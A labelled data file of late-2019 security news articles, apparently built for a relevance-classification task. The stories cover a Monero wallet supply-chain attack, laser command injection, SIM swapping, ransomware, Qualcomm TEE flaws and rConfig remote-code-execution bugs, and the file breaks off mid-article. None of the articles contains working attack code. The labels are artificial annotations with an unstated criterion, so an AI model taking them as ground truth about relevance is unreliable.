"Official Monero Site Hacked to Distribute Cryptocurrency Stealing Malware What an irony — someone hacked the official website of the Monero cryptocurrency project and quietly replaced legitimate Linux and Windows binaries available for download with malicious versions designed to steal funds from users' wallets. The latest supply-chain cyberattack was revealed on Monday after a Monero user spotted that the cryptographic hash for binaries he downloaded from the official site didn't match the hashes listed on it. Following an immediate investigation, the Monero team today also confirmed that its website, GetMonero.com, was indeed compromised, potentially affecting users who downloaded the CLI wallet between Monday 18th 2:30 am UTC and 4:30 pm UTC. At this moment, it's unclear how attackers managed to compromise the Monero website and how many users have been affected and lost their digital funds. According to an analysis of the malicious binaries done by security researcher BartBlaze, attackers modified legitimate binaries to inject a few new functions in the software that executes after a user opens or creates a new wallet. hacking monero cryptocurrency wallet The malicious functions are programmed to automatically steal and send users' wallet seed—sort of a secret key that restores access to the wallet—to a remote attacker-controlled server, allowing attackers to steal funds without any hassle. ""As far as I can see, it doesn't seem to create any additional files or folders - it simply steals your seed and attempts to exfiltrate funds from your wallet,"" the researcher said. At least one GetMonero user on Reddit claimed to have lost funds worth $7000 after installing the malicious Linux binary. ""I can confirm that the malicious binary is stealing coins. Roughly 9 hours after I ran the binary, a single transaction drained my wallet of all $7000,"" the user wrote. ""I downloaded the build yesterday around 6 pm Pacific time."" GetMonero officials assured its users that the compromised files were online for a very short amount of time and that the binaries are now served from another safe source. hacking monero cryptocurrency wallet The officials also strongly advised users to check the hashes of their binaries for the Monero CLI software and delete the files if they don't match the official ones. ""It's strongly recommended to anyone who downloaded the CLI wallet from this website between Monday 18th 2:30 am UTC and 4:30 pm UTC, to check the hashes of their binaries,"" GetMonero said. ""If they don't match the official ones, delete the files and download them again. Do not run the compromised binaries for any reason."" To learn how to verify hashes of the files on your Windows, Linux, or macOS system, you can head on to this detailed advisory by the official GetMonero team. The identity of hackers is still unknown, and since the GetMonero team is currently investigating the incident, The Hacker News will update this article with any new developments.",relevant
"Hackers Can Silently Control Your Google Home, Alexa, Siri With Laser Light A team of cybersecurity researchers has discovered a clever technique to remotely inject inaudible and invisible commands into voice-controlled devices — all just by shining a laser at the targeted device instead of using spoken words. Dubbed 'Light Commands,' the hack relies on a vulnerability in MEMS microphones embedded in widely-used popular voice-controllable systems that unintentionally respond to light as if it were sound. According to experiments done by a team of researchers from Japanese and Michigan Universities, a remote attacker standing at a distance of several meters away from a device can covertly trigger the attack by simply modulating the amplitude of laser light to produce an acoustic pressure wave. ""By modulating an electrical signal in the intensity of a light beam, attackers can trick microphones into producing electrical signals as if they are receiving genuine audio,"" the researchers said in their paper [PDF]. Doesn't this sound creepy? Now read this part carefully… Smart voice assistants in your phones, tablets, and other smart devices, such as Google Home and Nest Cam IQ, Amazon Alexa and Echo, Facebook Portal, Apple Siri devices, are all vulnerable to this new light-based signal injection attack. ""As such, any system that uses MEMS microphones and acts on this data without additional user confirmation might be vulnerable,"" the researchers said. Since the technique ultimately allows attackers to inject commands as a legitimate user, the impact of such an attack can be evaluated based on the level of access your voice assistants have over other connected devices or services. Therefore, with the light commands attack, the attackers can also hijack any digital smart systems attached to the targeted voice-controlled assistants, for example: Control smart home switches, Open smart garage doors, Make online purchases, Remotely unlock and start certain vehicles, Open smart locks by stealthily brute-forcing the user's PIN number. As shown in the video demonstration listed below: In one of their experiments, researchers simply injected ""OK Google, open the garage door"" command to a Google Home by shooting a laser beam at Google Home that was connected to it and successfully opened a garage door. In a second experiment, the researchers successfully issued the same command, but this time from a separate building, about 230 feet away from the targeted Google Home device through a glass window. Besides longer-range devices, researchers were also able to test their attacks against a variety of smartphone devices that use voice assistants, including iPhone XR, Samsung Galaxy S9, and Google Pixel 2, but they work only at short distances. The maximum range for this attack depends upon the power of the laser, the intensity of the light, and of course, your aiming capabilities. Besides this, physical barriers (e.g., windows) and the absorption of ultrasonic waves in the air can further reduce the range of the attack. Moreover, in cases where speech recognition is enabled, attackers can defeat the speaker authentication feature by constructing the recording of desired voice commands from relevant words spoken by the device's legitimate owner. According to the researchers, these attacks can be mounted ""easily and cheaply,"" using a simple laser pointer (under $20), a laser driver ($339), and a sound amplifier ($28). For their set up, they also used a telephoto lens ($199.95) to focus the laser for long-range attacks. How can you protect yourself against the light vulnerability in real-life? Software makers should offer users to add an additional layer of authentication before processing commands to mitigate malicious attacks. For now, the best and common solution is to keep the line of sight of your voice assistant devices physically blocked from the outside and avoid giving it access to things that you don't want someone else to access. voice activated smart assistant hacking The team of researchers—Takeshi Sugawara from the Japan's University of Electro-Communications and Mr. Fu, Daniel Genkin, Sara Rampazzi, and Benjamin Cyr from the University of Michigan—also released their findings in a paper [PDF] on Monday. Genkin was also one of the researchers who discovered two major microprocessor vulnerabilities, known as Meltdown and Spectre, last year.",relevant
"Two Arrested for Stealing $550,000 in Cryptocurrency Using Sim Swapping It appears that at least the United States has started taking the threat of Sim Swapping attacks very seriously. Starting with the country's first-ever conviction for 'SIM Swapping' this February, U.S. Department of Justice has since then announced charges against several individuals for involving in the scheme to siphon millions of dollars in cryptocurrency from victims. In the latest incident, the U.S. authorities on Thursday arrested two more alleged cybercriminals from Massachusetts, charging them with stealing $550,000 in cryptocurrency from at least 10 victims using SIM swapping between November 2015 and May 2018. SIM Swapping, or SIM hijacking, is a technique that typically involves the social engineering of a target's mobile phone provider. An attacker makes a phony call posing as their targets and convinces the mobile phone provider to port the target's phone number to a SIM card belonging to the attacker. Once successful, the attacker can then obtain one-time passwords, verification codes, and two-factor authentication received on the target's phone in order to reset passwords for and gain access to target's social media, email, bank, and cryptocurrency accounts. Hackers Also Targeted Executives of Cryptocurrency Companies According to the indictment, the two defendants — Eric Meiggs (20) and Declan Harrington (21) — not just only targeted users with high-value cryptocurrency accounts, but also targeted executives of cryptocurrency companies in an attempt to make a significant profit. Besides this, the two defendants have also been charged for taking over social media accounts of their victims, including two who ""had high value or 'O.G.' (slang for 'Original Gangster') social media account names."" cryptocurrency hacking sim swapping The duo has been charged in an 11-count indictment, with: one count of conspiracy to commit wire fraud, eight counts of wire fraud, one count of computer fraud and abuse, and one count of aggravated identity theft. If convicted on the charge of conspiracy to commit wire fraud, each defendant faces a maximum penalty of 20 years in prison. Meanwhile, the aggravated identity theft charge carries a maximum sentence of 2 years in prison. How to Protect Yourself from Sim Swapping In the wake of several Sim Swapping incidents, the U.S. Federal Trade Commission (FTC) in October issued a proper list of guidelines that users can follow to protect themselves against SIM swapping attacks: Don't reply to calls, emails, or text messages that request personal information. Limit the personal information you share online. Set up a PIN or password on your cellular account. Consider using stronger authentication on accounts with sensitive personal or financial information. And in case you become a target of a SIM swap scam, you can take some effective measures like: Contact your cellular service provider immediately to report fraud and take control of your phone number back and immediately change your account passwords. Check your credit card, bank, and other financial accounts for any unauthorized charges and report to the respective company if you find any.",irrelevant
"Rogue TrendMicro Employee Sold Customer Data to Tech Support Scammers Do you always uncomfortable trusting companies with your data? If so, you're not alone. While companies do much to protect themselves from external threats, insiders always pose the highest risk to a company's data. Unfortunately, when we say companies can't eliminate insider threat completely, cybersecurity firms, who are meant to protect others, are not an exception. Cybersecurity firm Trend Micro has disclosed a security incident this week carried out by an employee who improperly accessed the personal data of thousands of its customers with a ""clear criminal intent"" and then sold it to a malicious third-party tech support scammers earlier this year. According to the security company, an estimated number of customers affected by the breach is 68,000, which is less than one percent of the company's 12 million customer base. Trend Micro first became aware of the incident in early August 2019 when it found that some of its consumer customers were receiving scam calls by criminals impersonating its support employee, which initially led the company to suspect a coordinated attack. However, a thorough investigation of at least two months into the matter revealed that the incident was not due to an external hack of its systems, rather an insider, who gained access to one of the Trend Micro's customer support databases. ""[It was] the work of a malicious internal source that engaged in a premeditated infiltration scheme to bypass our sophisticated controls,"" the company said in a blog post published Tuesday. The stolen database contained Trend Micro consumer customers' names, email addresses, Trend Micro support ticket numbers, and in some instances, phone numbers. According to the company, the rogue employee did not appear to have stolen any financial or credit card information, and no Trend Micro's business or government customers were affected by the breach. The investigation also revealed that the rogue employee then sold this information to a ""currently unknown"" malicious third-party, which resulted in some of its customers receiving scam calls from people impersonating Trend Micro employees. Though the identity of the rogue employee is still not disclosed, Trend Micro said that it disabled the employee's account and fired the culprit and that it notified law enforcement and is working with them. As a result, the company is now warning its customers of fake calls, saying that its customer-support staff never calls people ""unexpectedly"" even if they have purchased its consumer product. ""If a support call is to be made, it will be scheduled in advance,"" the company said. "". If you receive an unexpected phone call claiming to be from Trend Micro, hang up and report the incident to Trend Micro support using our official contact details."" A separate data breach incident The Hacker News published today also caused due to an insider threat, where two former Twitter employees have been charged with accessing information on thousands of Twitter user accounts on behalf of the Saudi Arabian government.",irrelevant
"Latest Kali Linux OS Added Windows-Style Undercover Theme for Hackers You can relate this: While working on my laptop, I usually prefer sitting at a corner in the room from where no one should be able to easily stare at my screen, and if you're a hacker, you must have more reasons to be paranoid. Let's go undercover: If you're in love with the Kali Linux operating system for hacking and penetration testing, here we have pretty awesome news for you. Offensive Security today released a new and the final version of Kali Linux for 2019 that includes a special theme to transform your Xfce desktop environment into a Windows look-a-like desktop. Dubbed 'Kali Undercover,' the theme has been designed for those who work in public places or office environments and don't want people to spot that you're working on Kali Linux, an operating system popular among hackers, penetration testers, and cybersecurity researchers. As shown in the demo below, simply enabling ""Kali Undercover Mode"" from the menu would immediately turn your distinctive Kali dragon theme to the boring bluish version of the Windows operating system. kali linux undercover mode Besides Kali Undercover, the latest Kali Linux 2019.4 release, powered by Linux kernel 5.3.9, now also includes some new exciting updates, including: Xfce Desktop — A new default, lightweight desktop environment aiming to improve the performance and user experience. PowerShell Support — This gives you the ability to execute PowerShell scripts directly on Kali. Kali NetHunter KeX – This allows you to attach your Android device to an HDMI output along with Bluetooth keyboard and mouse and get a full Kali desktop on your smartphone. New GTK3 theme — A new desktop theme for both Xfce and GNOME desktops. Kali Documentation — Moved Kali docs to ""/docs/,"" which is now Git powered where anyone can contribute for better public documentation. BTRFS during setup — Supports setting BTRFS as your root file system allowing you to perform file system rollbacks after upgrades. The Offensive Security ARM images have also been updated to the latest 2019.4 version that will support 8GB sd cards on ARM. However, the team assured that starting with the 2020.1 version, which is due in the new year, a 16GB sd card will be the minimum supported one, though users will be able to create their own images that support smaller cards. Moreover, RaspberryPi kernel for Kali Linux was updated to version 4.19.81, and the firmware package was updated to include the eeprom updates for the RaspberryPi 4. You can download the latest Kali Linux 2019.4 from its official website or from the Torrent network. If you are already running an existing Kali installation, you can simply upgrade it to the latest Kali release by running the command: apt update && apt -y full-upgrade.",irrelevant
"Russian Hacker Behind NeverQuest Banking Malware Gets 4 Years in U.S. Prison A Russian hacker who created and used Neverquest banking malware to steal money from victims' bank accounts has finally been sentenced to 4 years in prison by the United States District Court for the Southern District of New York. Stanislav Vitaliyevich Lisov, 34, was arrested by Spanish authorities at Barcelona–El Prat Airport in January 2017 on the request of the FBI and extradited to the United States in 2018. Earlier this year, Lisov pleaded guilty to one count of conspiracy to commit computer hacking, involving attempts to steal at least $4.4 million from hundreds of victims using the NeverQuest banking trojan. Just like any other sophisticated banking Trojan, NeverQuest, aka Vawtrak or Snifula, has also been designed to let attackers remotely control infected computers and steal a wide range of sensitive information. Besides stealing login information for banking or other financial accounts using a keylogger or web form injection techniques, the malware was also capable of stealing passwords stored in FTP clients, private keys, or stored within remote-desktop settings. NeverQuest became so popular among financially motivated hackers and scammers that the banking trojan was ranked the number two global financial malware in 2015 and the number one in 2016. NeverQuest Caused An Estimated Damage of $4.4 Million According to a press release published by the U.S. Department of Justice, Lisov and his co-conspirators distributed NeverQuest banking trojan worldwide between June 2012 and January 2015 through social media, phishing emails, and file transfer services; and used exploit kits or drive-by downloads as initial infection vectors. The duo then used the stolen login information to steal money from victims' bank accounts using various means, including wire transfers, ATM withdrawals, and online purchases of expensive items. ""In total, Lisov and his co-conspirators attempted to steal at least approximately $4.4 million using NeverQuest, and in fact, stole at least approximately $855,000 from their victims' online financial accounts,"" the court document says. Besides creating and deploying NeverQuest for his own personal enrichment, Lisov was also responsible for maintaining and renting out botnet servers that contained a list of nearly 1.7 million stolen login credentials—including usernames, passwords, and security questions and answers. The conspiracy to commit computer hacking charge carries a maximum sentence of five years in prison under the terms of a plea deal Lisov struck with the Justice Department in February this year when he pleaded guilty. Today, the United States Attorney Geoffrey S. Berman sentenced Lisov to 48 months in prison. In addition to his prison term, Lisov has also been sentenced to 3 years of supervised release and ordered to pay a forfeiture of $50,000 and restitution of $481,388.04.",irrelevant
"Louisiana State Government Hit by Ransomware Attack Forcing Server Shutdowns Targeted ransomware attacks on banking and finance, government, healthcare, and critical infrastructure are on the rise, with the latest victim being the state government of Louisiana. The state government of Louisiana was hit by a large-scale coordinated ransomware attack yesterday, which forced the state to take several state agency servers offline, including government websites, email systems, and other internal applications, to mitigate the risk of the malware's infection from spreading. The Monday's ransomware attack resulted in the subsequent shutdown of a majority of large state agencies, including the Office of the Governor, the Office of Motor Vehicles, the Department of Health, the Department of Children and Family Services, and the Department of Transportation and Development, among others. Louisiana Gov. John Bel Edwards revealed the incident in a series of tweets, saying that he had activated the state's cybersecurity team in response to the cyber attack and that the shutdown of services was due to the state's response and not due to the attack. ""Today, we activated the state's cybersecurity team in response to an attempted ransomware attack that is affecting some state servers. The Office of Technology Services identified a cybersecurity threat that affected some, but not all state servers,"" Governor Edwards said. ""The service interruption was due to OTS' aggressive response to prevent additional infection of state servers and not due to the attempted ransomware attack. Online services started to come back online this afternoon, though full restoration may take several days."" Ransomware attacks involve cybercriminals encrypting files and locking them up so users can't access them without paying a ransom amount, which they demand typically in Bitcoin to give the user access to those files again. Edwards noted that the Louisiana State Police and several federal agencies are already investigating the cyberattack that impacted nearly every major state agency. This is the second major ransomware attack that Louisiana suffered this year. In July 2019, Louisiana declared a state of emergency following a coordinated ransomware outbreak that disrupted nearly half a dozen school districts. Governor Edwards also confirmed that Monday's cyber attack is similar to the July's ransomware attack. ""OTS has confirmed that this attempted ransomware attack is similar to the ransomware targeted at local school districts and government entities across the country this summer,"" Governor Edwards said. At this time, it's unclear what family of ransomware malware was used in the latest attack, how the ransomware got into the state's systems, and how much amount the attackers have demanded as a ransom. However, the governor has assured that there is ""no anticipated data loss"" and that ""the state did not pay a ransom.""",irrelevant
"Magento Marketplace Suffers Data Breach Exposing Users' Account Info If you have ever registered an account with the official Magento marketplace to bought or sold any extension, plugin, or e-commerce website theme, you must change your password immediately. Adobe—the company owning Magento e-commerce platform—today disclosed a new data breach incident that exposed account information of Magento marketplace users to an unknown group of hackers or individuals. According to the company, the hacker exploited an undisclosed vulnerability in its marketplace website that allowed him to gain unauthorized third-party access to the database of registered users — both customers (buyers) as well as the developers (sellers). The leaked database includes affected users' names, email addresses, MageID, billing and shipping address information, and some limited commercial information. While Adobe didn't reveal or might don't know when the Magento marketplace was compromised, the company did confirm that its security team discovered the breach last week on November 21. magento marketplace data breach Image courtesy: Twitter user @Hxzeroone Besides this, the company also assured that the hackers were not able to compromise Magento's core product and services, which suggests that themes and plugins hosted on the Marketplace were not accessed to add any backdoor or malicious code and are safe to download. ""On November 21, we became aware of a vulnerability related to Magento Marketplace. We temporarily took down the Magento Marketplace in order to address the issue. The Marketplace is back online. This issue did not affect the operation of any Magento core products or services,"" said Jason Woosley, VP of Commerce Product and Platform at Adobe. While the company also didn't reveal the total number of affected users and developers, it has started notifying the affected customers via email. Though Adobe hasn't explicitly mentioned that the account passwords were also leaked, users are still recommended to change it, and do the same for any other website where you are using the same password.",relevant
"Gartner Says the Future of Network Security Lies with SASE Cloud services and networking are driving the concept of digital businesses, yet traditional networking and cybersecurity architectures are far from meeting the demands of the digital business. Gartner's ""The Future of Network Security Is in the Cloud"" report spells out the potential for the transformation of networking and security in the cloud, built upon a new networking and security model. That model is called Secure Access Service Edge (SASE), a term coined by Gartner's leading security analysts Neil MacDonald, Lawrence Orans, and Joe Skorupa. Gartner claims that SASE has the potential to invert the established networking and security service stack from one based in the data center into a design that shifts the focal point of identity to the user and the endpoint device. SASE addresses the numerous problems that have been discovered with traditional cybersecurity methods used in the cloud. Many of those problems have roots with the ideology that network security architectures must be placed at the center of connectivity in the data center. Those legacy applications of network security cannot efficiently support newer networking ideologies and use cases, such as the shift to dynamic services, software as a service (SaaS) applications, and the growing trend of enterprises needed to work with distributed data. Traditional network and network security architectures were designed for an era where the enterprise data center was the physical center of access requirements for users and devices. A model that worked relatively well until the push for digital transformation drove new requirements. With enterprises embracing digital business processes, along with edge computing, cloud services, and hybrid networks, it became evident that traditional networking and security architectures were beginning to fail on multiple fronts. The overall complexity of traditional architecture introduced problems such as latency, networking blind spots, excessive management overhead, and the need for constant reconfiguration as services changed. The SASE model eliminates those problems by reducing networking complexity and shifting the security process to where it can do the most good, the network edge. As an emerging, disruptive technology, Gartner has doubled down on the importance of SASE, as evidenced by Gartner's ""Hype Cycle for Enterprise Networking, 2019"" report, which presents SASE as so strategic that the technology earned the label ""transformational."" The report also establishes sample vendors and the critical elements of SASE. What Exactly is SASE? As defined by Gartner, the SASE category consists of four main characteristics: Identity-driven: User and resource identity, not simply an IP address, determine the networking experience and level of access rights. Quality of service, route selection, applying risk-driven security controls — all are driven by the identity associated with every network connection. This approach reduces operational overhead by letting companies develop one set of networking and security policies for users regardless of device or location. Cloud-native architecture: The SASE architecture leverages key cloud capabilities, including elasticity, adaptability, self-healing, and self-maintenance, to provide a platform that amortizes costs across customers for maximum efficiencies, easily adapts to emerging business requirements and is available anywhere. Supports all edges: SASE creates one network for all company resources—data centers, branch offices, cloud resources, and mobile users. For example, SD-WAN appliances support physical edges while mobile clients and clientless browser access connect users on the go. Globally distributed: To ensure the full networking and security capabilities are available everywhere and deliver the best possible experience to all edges, the SASE cloud must be globally distributed. As such, Gartner noted, they must expand their footprint to deliver a low-latency service to enterprise edges. Ultimately, the goal of a SASE architecture is one of making secure cloud enablement easier to accomplish. SASE provides a design philosophy that eliminates the traditional methods of stitching together SD-WAN devices, firewalls, IPS appliances, and numerous other networking and security solutions. Instead, SASE replaces that mish-mash of difficult to manage technology with a secure, global SD-WAN service. Available SASE Services Gartner acknowledges that the SASE market is in flux, with no one vendor offering the entire SASE portfolio of capabilities. Some vendors, such as ZScaler, offer firewall as a service but lack the SD-WAN capabilities (and other security capabilities) required by SASE. Other vendors offer security as an appliance but not in a cloud-native, global network. About the closest to a functioning SASE service that I've seen is from Cato Networks. Cato Networks provides a global private backbone (50+ points of presence (PoPs) at last count). The PoPs run Cato's own cloud-native architecture that converges networking and network security. The Cato software is a single-pass, cloud-based architecture. All network optimizations, security inspection, and policy enforcement are done with rich context before forwarding traffic onto its destination. network security software Cato connects various ""edges,"" in Cato parlance, by establishing encrypted tunnels to the nearest Cato PoP. The platform connects locations via Cato's SD-WAN device, the Cato Socket; mobile users via Cato's client- and clientless access; and cloud resources via Cato's ""agentless"" integration. Even third-party devices can be connected by establishing an IPsec tunnel to the nearest Cato PoP. Identity and access are unified into an easily managed paradigm. That paradigm allows enterprises to focus on security policies, instead of security and networking components, while also supporting the move to a global, distributed architecture, which securely connects all network edges. SASE: It's a Lot More than Security Done Right SASE is much more than a security framework and a new model of networking that flattens the access stack into an easily managed fabric of connectivity with security at its core. That makes a SASE Cloud much leaner since all functions are converged together. SASE processes traffic faster with less latency while incorporating more context than other networking and security methods. As a software-defined platform, SASE can quickly adapt to change, such as scale or agility driven reconfigurations. SASE also introduces additional network protections, such as the concepts of business continuity, load distribution, and improved uptime. You can learn more about SASE, by joining to a Gartner-featured webinar, hosted by Cato Networks. In this webinar Gartner analyst Neil MacDonald, one of the creators of the SASE category will cover: What is SASE and why is it emerging today What does SASE mean for networking and network security products What are the building blocks of a true SASE architecture The use cases and capabilities that are part of SASE",irrelevant
"4 Best Free Online Security Tools for SMEs in 2020 Cyberattacks on small and midsized companies in 2019 cost $200,000 per company on average, mercilessly putting many of them out of business, says CNBC in its analysis of a recent Accenture report. In light of the global cybersecurity skills shortage, the number is set to soar in 2020. Solely in the UK, over 50,000 British SMEs could collapse next year following a cyberattack. This article brings a list of free tools that are already being used to combat these alarming challenges and enabling SMEs to arm themselves against a wide range of cyber offenders. Website Security Test with GDPR and PCI DSS Compliance Scan The problem: It would be hard to come across an SME without a website, or at least a web page on the Internet. Such websites are habitually poorly protected, becoming low-hanging fruit for cybercriminals. Even if the website does not store or handle any payment transactions or otherwise sensitive information, once breached, access to it can be sold in Dark Web marketplaces from $5 to $500 depending on the website's popularity, industry, and quality of visitors. Cybercriminals will then exploit the website to send spam, proliferate spyware and ransomware, and distribute Remote Access Trojans (RAT) tailored to empty e-banking accounts of unwitting visitors. As well as reputational damage and falling sales, such unforeseeable incidents can likewise trigger protracted and expensive lawsuits from the victims, let alone fines and penalties imposable under GDPR and a mushrooming myriad of other privacy laws and regulations. Worse, once your website is identified as a source of spam, malware, or DDoS attacks stemming from the breach, Google and other search engines will swiftly blacklist it. The integrity of your SEO efforts and Google Ads investment will vanish in minutes and for many months, while Google support will be reviewing your complaint to delist you from the dangerous websites' purgatory. In most cases, however, your existing position in search results (SERP) will be irretrievably lost. The tool: Our first free online tool is, therefore, a website security test that not only searches for web vulnerabilities, weaknesses, and configurations but also runs a GDPR and PCI DSS compliance scan: website security scanner The free test just requires a website URL to start; no registration or installation is required. The following non-intrusive and production-safe website security tests and checks will be performed: In-depth CMS scan for 50,000+ known web security vulnerabilities A full scan of WordPress, Drupal, Joomla and Magento plugins Full scan for Open Source Software and its components Check of privacy and security HTTP headers Check of Content Security Policy (CSP) Check for presence in Black Lists Check for malware On top of this, you will get a detailed assessment of the applicable requirements from the following compliance and regulatory standards: PCI DSS 3.2.1 EU GDPR Importantly, the free test is equipped with a quick OSINT discovery of your subdomains, providing broader visibility of External Attack Surface. The test likewise provides a free API if wanting to automate the testing or export vulnerability data into any existing cybersecurity solution or platform. Mobile Application Security and Privacy Test The problem: Mobile applications and ecosystems are bringing a steadily growing income to SMEs who are reaching new customers and markets across the globe with their products and services. The emerging mobile marketplace is, however, not without its drawbacks and pitfalls. Insecure mobile apps, or a poorly implemented data encryption of transmitted data, may expose sensitive customer data, trigger reputational injury, and considerable financial losses. Some cases may even lead to lawsuits from belligerent clients and immense financial penalties from the data protection authorities and regulatory agencies. Moreover, your app can be permanently banned from the Apple and Google Play stores, causing irreparable and protracted damages to your business. The tool: To detect, mitigate, and prevent such undesirable consequences in a timely manner, we present a mobile security test for your iOS and Android applications: website security scanner The free test requires your mobile app to be uploaded, or if the application is already available in Google Play, just to type its name in the search box and select it from the list. No installation or registration is required to test on your mobile apps. During the security scanning process, the following checks and tests will be conducted: In-depth OWASP Mobile Top 10 security scan Smart scan for hardcoded passwords and API keys Holistic privacy check and inventory of application permissions Dynamic (DAST) testing of your mobile application binary for security flaws Static (SAST) testing of your mobile application source code for security flaws In-depth Software Composition Analysis (SCA) for known Open Source Software (OSS) risks Review encryption of the data sent to the mobile app backend (APIs and Web Services) Malware and Cryptojacking scan You will get a consolidated overview of your mobile application security and privacy with actionable excepts of problematic source code and recommendations on how to fix the issues. Additionally, you may use a free API to automate testing of your mobile apps before releasing a new version, for example. SSL/TLS Encryption and Certificate Test with PCI DSS, NIST and HIPAA scan The problem: The modern-day Internet would be impossible without encryption. Even beginners know that a green lock icon on the left side of the browser address bar is a good indicator of trust and confidence. Properly implemented SSL/TLS encryption and correctly installed SSL certificate may boost your online sales and provide you with a competitive advantage on the global market. If you are running an e-commerce website and accept payments in credit cards, you likely adhere to strict security requirements imposed by PCI SSC on online merchants, including the most recent version of PCI DSS. Amid those 12 well-thought security requirements, due implementation of SSL/TLS encryption plays a notable role to safeguard credit card data from interception and theft. The formidable GDPR also unambiguously requires a properly implemented encryption strategy whenever you process, store, or handle any Personally Identifiable Information (PII) of Europeans or European (EU) residents. Recently, Google introduced an important amendment to its search and ranking algorithms, clearly giving preference to websites with flawless HTTPS encryption in accord with the industry best practices. The tool: Let's now have a look at this free SSL/TSL security test which is able to rapidly scan your website and its subdomains for all know encryption misconfigurations and related weaknesses: website security scanner In contrast to many other SSL security tests and online encryption validation tools, this one is capable of testing not only the HTTPS encryption but likewise fits well for email (e.g., POP3S, IMAPS, STARTTLS) and all other common SSL/TLS implementations on any port. The test just requires your website or server name and then will rapidly conduct the following checks and scan for: Over 30 known SSL/TLS implementation vulnerabilities including Poodle and Heartbleed PCI DSS Requirements for SSL/TLS encryption, cipher suits, and SSL certificate NIST Guidelines on SSL/TLS, including an in-depth check of all cipher suits HIPPA Guidance on SSL/TLS hardening and implementation Insecure (non-HTTPS) insertion of external web content SSL certificate chain and CA check Moreover, the test will enumerate all your subdomains discovered with non-intrusive OSINT reconnaissance. Eventually, you can seamlessly automate regular scanning by using the free API. Domain Security Test The problem: Phishing is probably one of the most prevalent and well-known problems that cost billions of dollars every year to inattentive or careless victims. With the skyrocketing increase of Business Email Compromise (BEC) attacks, also intertwined with so-called ""CEO Fraud"" emails, phishing prevention merits a special place in your cybersecurity strategy. Domain attacks, including typosquatting and cybersquatting, impersonate your brand and trademarks in the digital space. They steal your visitors and website traffic, parasitizing on your goodwill and hard-won reputation. In small and rapidly growing markets, such freeloaders may undermine your marketing efforts and negate your previous success. Last but not least, fake accounts in social networks that pretend to represent you or be somehow connected with your business may likewise bring a lot of reputational harm and loss of profit. The tool: To tackle the foregoing challenges, you should try this phishing and domain security test: website security scanner All you need to commence the test is to enter your domain name. The test will meticulously crawl over 200,000,000 of the existing, or previously existing domains trying to find infringers, imposters and other digital parasites. It will depict your domain security by delivering an up2date inventory of malicious domains and websites including: All currently known phishing, malware and scam websites exploiting your brand Fake accounts on Twitter, Facebook, and other social networks Full list of typosquatted domains abusing your brand Full list of cybersquatted domains abusing your brand The test is likewise capable of identifying and distinguishing the websites and domains that belong or are operated by your organizations, marking them appearing in blue. While all other rogue domains will appear in red and require your attention for prompt takedown action. Check these and other free security tests by ImmuniWeb® Community offering and stay secure in 2020!",irrelevant
"Qualcomm Chip Flaws Let Hackers Steal Private Data From Android Devices Hundreds of millions of devices, especially Android smartphones and tablets, using Qualcomm chipsets, are vulnerable to a new set of potentially serious vulnerabilities. According to a report cybersecurity firm CheckPoint shared with The Hacker News, the flaws could allow attackers to steal sensitive data stored in a secure area that is otherwise supposed to be the most protected part of a mobile device. The vulnerabilities reside in Qualcomm's Secure Execution Environment (QSEE), an implementation of Trusted Execution Environment (TEE) based on ARM TrustZone technology. Also known as Qualcomm's Secure World, QSEE is a hardware-isolated secure area on the main processor that aims to protect sensitive information and provides a separate secure environment (REE) for executing Trusted Applications. Along with other personal information, QSEE usually contains private encryption keys, passwords, credit, and debit card credentials. Since it is based on the principle of least privilege, Normal World system modules like drivers and applications can not access protected areas unless necessary—even when they have root permissions. ""In a 4-month research project, we succeeded in reverse Qualcomm's Secure World operating system and leveraged the fuzzing technique to expose the hole,"" researchers told The Hacker News. ""We implemented a custom-made fuzzing tool, which tested trusted code on Samsung, LG, Motorola devices,"" which allowed researchers to find four vulnerabilities in trusted code implemented by Samsung, one in Motorola and one in LG. dxhdcp2 (LVE-SMP-190005) sec_store (SVE-2019-13952) authnr (SVE-2019-13949) esecomm (SVE-2019-13950) kmota (CVE-2019-10574) tzpr25 (acknowledged by Samsung) prov (Motorola is working on a fix) Hacking Android Phones According to researchers, the reported vulnerabilities in the secure components of Qualcomm could allow an attacker to: execute trusted apps in the Normal World (Android OS), load patched trusted app into the Secure World (QSEE), bypassing Qualcomm's Chain Of Trust, adapt the trusted app for running on a device of another manufacturer, and more. ""An interesting fact is that we can load trustlets from another device as well. All we need to do is replace the hash table, signature, and certificate chain in the .mdt file of the trustlet with those extracted from a device manufacturer's trustlet,"" researchers said. In short, a vulnerability in TEE component leaves devices vulnerable to a wide range of security threats, including the leakage of protected data, device rooting, bootloader unlocking, and execution of undetectable APT. The vulnerabilities also affect a wide range of smartphone and IoT devices that use the QSEE component to secure users' sensitive information. Check Point Research responsibly disclosed its findings to all affected vendors, out of which Samsung, Qualcomm, and LG have already released a patch update for these QSEE vulnerabilities.",relevant
"Watch Out IT Admins! Two Unpatched Critical RCE Flaws Disclosed in rConfig If you're using the popular rConfig network configuration management utility to protect and manage your network devices, here we have an important and urgent warning for you. A cybersecurity researcher has recently published details and proof-of-concept exploits for two unpatched, critical remote code execution vulnerabilities in the rConfig utility, at least one of which could allow unauthenticated remote attackers to compromise targeted servers, and connected network devices. Written in native PHP, rConfig is a free, open source network device configuration management utility that allows network engineers to configure and take frequent configuration snapshots of their network devices. According to the project website, rConfig is being used to manage more than 3.3 million network devices, including switches, routers, firewalls, load-balancer, WAN optimizers. What's more worrisome? Both vulnerabilities affect all versions of rConfig, including the latest rConfig version 3.9.2, with no security patch available at the time of writing. Discovered by Mohammad Askar, each flaw resides in a separate file of rConfig—one, tracked as CVE-2019-16662, can be exploited remotely without requiring pre-authentication, while the other, tracked as CVE-2019-16663, requires authentication before its exploitation. Unauthenticated RCE (CVE-2019-16662) in ajaxServerSettingsChk.php Authenticated RCE (CVE-2019-16663) in search.crud.php In both cases, to exploit the flaw, all an attacker needs to do is access the vulnerable files with a malformed GET parameter designed to execute malicious OS commands on the targeted server. rConfig vulnerability As shown in the screenshots shared by the researcher, the PoC exploits allow attackers to get a remote shell from the victim's server, enabling them to run any arbitrary command on the compromised server with the same privileges as of the web application. Meanwhile, another independent security researcher analysed the flaws and discovered that the second RCE vulnerability could also be exploited without requiring authentication in rConfig versions prior to version 3.6.0. ""After reviewing rConfig's source code, however, I found out that not only rConfig 3.9.2 has those vulnerabilities but also all versions of it. Furthermore, CVE-2019-16663, the post-auth RCE can be exploited without authentication for all versions before rConfig 3.6.0,"" said the researcher, who goes by online alias Sudoka. Important Update It turns out that not all rCongif installations are likely vulnerable to the first pre-authenticated RCE vulnerability, as reported initially, SANS security researchers Johannes Ullrich told The Hacker News. After analyzing the zero-day vulnerabilities, Ullrich found that the affected file associated with the 